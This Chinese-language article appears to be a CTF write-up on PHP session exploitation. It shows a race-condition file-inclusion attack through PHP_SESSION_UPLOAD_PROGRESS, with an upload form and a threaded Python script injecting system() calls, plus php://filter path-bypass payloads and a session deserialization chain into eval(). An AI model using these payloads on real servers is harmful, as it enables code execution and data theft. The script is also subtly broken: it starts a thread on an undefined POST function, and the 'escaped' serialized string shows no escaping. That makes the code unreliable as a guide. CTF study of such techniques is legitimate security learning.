首頁 > 軟體

php網路安全session利用的小思路

2022-02-11 16:01:42

前言

做題的時候經常考到session利用,常見的基本就兩種,session檔案包含和session反序列化,之前沒有詳細總結過,就寫寫吧。

session檔案包含

php.ini

session的相關設定

session.upload_progress.enabled = on
//enabled=on表示upload_progress功能開始,也意味著當瀏覽器向伺服器上傳一個檔案時,php將會把此次檔案上傳的詳細資訊(如上傳時間、上傳進度等)儲存在session當中 ;

session.upload_progress.prefix = "upload_progress_"
//將表示為session中的鍵名

session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS" 
//當它出現在表單中,php將會報告上傳進度,而且它的值可控!!!

session.use_strict_mode = off 
//這個選項預設值為off,表示我們對Cookie中sessionid可控!!!

session.save_path = /var/lib/php/sessions 
//session的存貯位置,預設還有一個 /tmp/目錄

當session相關設定如上的時候,我們可以利用session.upload_progress將惡意語句寫入session檔案,從而包含session檔案。

平常,當我們要建立session時往往會在php程式碼裡寫session_start(),但我們不寫的話,也是可以建立的。

比如,在php.ini中設定session.auto_start=On 的情況下,php在接收請求的時候會自動初始化session,不需要執行session_start()。但預設狀態下,這個選項是預設關閉的。

不過幸好,session還有一個預設選項,session.use_strict_mode預設值為0。

這樣使用者是可以自己定義session ID的。比如,我們在cookie裡設定PHPSESSID=AndyNoel,就會在伺服器/tmp目錄下或者/var/lib/php/sessions/目錄下建立一個檔案:sess_AndyNoel。即便沒有設定自動初始化session,php也會產生session,並生成一個鍵值,這個鍵值由ini.get("session.upload_progress.prefix")+我們構造的session.upload_progress.name值組成,最後被一起寫入sess_檔案裡。

[WMCTF 2020]Make PHP Great Again

<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
  require_once $_GET['file'];
}
//Please hack me with your 0day!

很容易發現存在一個檔案包含漏洞,但找不到能包含的惡意檔案,那我們就可以往session裡面寫入惡意內容,然後包含它。

session維持

按照上面說的思路建立好session後,問題又來了,那就是在php.ini往往還有一條設定

session.upload_progress.cleanup = on
//表示當檔案上傳結束後,php將會立即清空對應session檔案中的內容

預設設定session.upload_progress.cleanup = on導致檔案上傳後,session檔案內容立即清空,清空了就沒辦法利用了。我們要想辦法把session留在裡面,所以就要利用條件競爭,在session檔案內容清空前進行檔案包含利用。

方法一 | 藉助Burp Suite

可以在本地寫一個上傳頁面,然後抓包新增Cookie: PHPSESSID=AndyNoel,再用BurpSuite爆破

<!DOCTYPE html>
<html>
<body>
<form action="http://localhost/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php system('cat flag.php');?>" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
</form>
</body>
</html>

一邊不斷髮包請求包含惡意的session,一邊不斷髮包以維持惡意session儲存。這樣就可以利用條件競爭把惡意內容留在session裡面了。

方法二 | python指令碼

原理和上面的差不多,但是我們直接編寫指令碼,寫shell、取flag一把梭出來,用不著那麼麻煩了

import io
import sys
import requests
import threading
sessid = 'AndyNoel'
def WRITE(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            'http://localhost/index.php',
            data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat flag.php');?>"},
            files={"file":('1.txt', f)},
            cookies={'PHPSESSID':sessid}
        )
def READ(session):
    while True:
        resp = session.get(f'http://localhost/index.php/?file=../../../../../../../../tmp/sess_{sessid}')

        if 'flag{' in resp.text:
            print(resp.text)
            sys.exit(0)
        else:
            print('Thinking[+++++++]')
with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()
    READ(session)

方法三(非預期) | 偽協定配合多級符號連結的辦法進行繞過。

在這裡有個小知識點,/proc/self指向當前程序的/proc/pid//proc/self/root/是指向/的符號連結,想到這裡,用偽協定配合多級符號連結的辦法進行繞過。

payload:
?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

另外一個payload

?file=php://filter/convert.base64-encode/resource=/nice/../../proc/self/cwd/flag.php

session反序列化

選擇不同的處理器,處理方式也不一樣,如果序列化和儲存session與反序列化的方式不同,就有可能導致漏洞的產生。

Jarvis OJ WEB PHPINFO

<?php
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

如果只看php程式碼,其實我們是找不到引數可控的地方的,所以通過什麼方法來進行反序列化呢?session.serialize_handler

session.serialize_handler (string) 用來定義序列化/反序列化的處理器名字。 當前支援 PHP 序列化格式 (名為 php_serialize)、 PHP PHP 內部格式 (名為 php 及 php_binary) 和 WDDX (名為 wddx)。 如果 PHP 編譯時加入了 WDDX 支援,則只能用 WDDX。 php_serialize 在內部簡單地直接使用serialize/unserialize函數,並且不會有 php 和 php_binary 所具有的限制。 使用較舊的序列化處理器導致 $_SESSION 的索引既不能是數位也不能包含特殊字元(| and !) 。

可以看一下這個題目環境的phpinfo,在session部分

預設session.serialize_handlerphp_serialize,而這裡卻設定為php:

這樣就很明顯了,因為處理器對應的處理格式不同導致出現session反序列化漏洞

但還是不夠,因為我們還是沒辦法控制變數,翻看PHP手冊有個有意思的地方:

既然如此,我們可以去看看有關session的php.ini的設定

ession.upload_progress.enabled = on
session.upload_progress.name = PHP_SESSION_UPLOAD_PROGRESS

設定是這樣的話,我們就可以構造反序列化了。

<?php
class OowoO
{
    public $mdzz='var_dump(scandir("/opt/lampp/htdocs/"));';//從phpinfo看見的
}
$obj = new OowoO();
echo serialize($obj);
?>
O:5:"OowoO":1:{s:4:"mdzz";s:40:"var_dump(scandir("/opt/lampp/htdocs/"));";}

為了防止雙引號跳脫,所以要處理一下,在雙引號前面加,所以應該是這樣

O:5:"OowoO":1:{s:4:"mdzz";s:40:"var_dump(scandir("/opt/lampp/htdocs/"));";}

然後自己本地寫一個提交頁面:

<form action="http://localhost/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="ADNL" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

抓包修改,在序列化的字串前加 |,提交即可。

小結

session有關的安全性問題主要是檔案包含和反序列化兩個利用點,利用PHP_SESSION_UPLOAD_PROGRESS可以繞過大部分過濾。

以上就是php網路安全session利用的小思路的詳細內容,更多關於php網路安全session利用的資料請關注it145.com其它相關文章!


IT145.com E-mail:sddin#qq.com